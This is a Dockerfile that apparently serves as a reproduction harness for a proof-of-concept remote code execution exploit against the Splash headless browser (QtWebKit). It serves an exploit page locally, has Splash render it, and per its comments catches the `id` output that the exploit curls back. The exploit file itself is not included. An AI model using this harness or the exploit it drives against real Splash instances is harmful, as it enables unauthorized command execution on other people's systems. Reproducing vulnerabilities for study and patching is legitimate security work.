# Vulnerable target: scrapinghub/splash (QtWebKit 5.212 / WebKit 602.1).
#   docker build --platform linux/amd64 -t splash-rce .
#   docker run  --rm --platform linux/amd64 splash-rce
# Serves the PoC and renders it; the exploit curls `id` back to the server, so it shows up
# in this container's output as a "GET /uid=999(splash)..." line. It is non-deterministic and may take a few runs.
FROM --platform=linux/amd64 scrapinghub/splash
COPY splash-exploit.html /srv/splash-exploit.html
ENTRYPOINT ["sh","-c","cd /srv && python3 -u -m http.server 8001 --bind 127.0.0.1 & python3 /app/bin/splash >/dev/null 2>&1 & until curl -sf http://127.0.0.1:8050/_ping >/dev/null 2>&1; do sleep 1; done; curl -s 'http://127.0.0.1:8050/render.html?url=http://127.0.0.1:8001/splash-exploit.html&wait=50&timeout=70' >/dev/null; sleep 3"]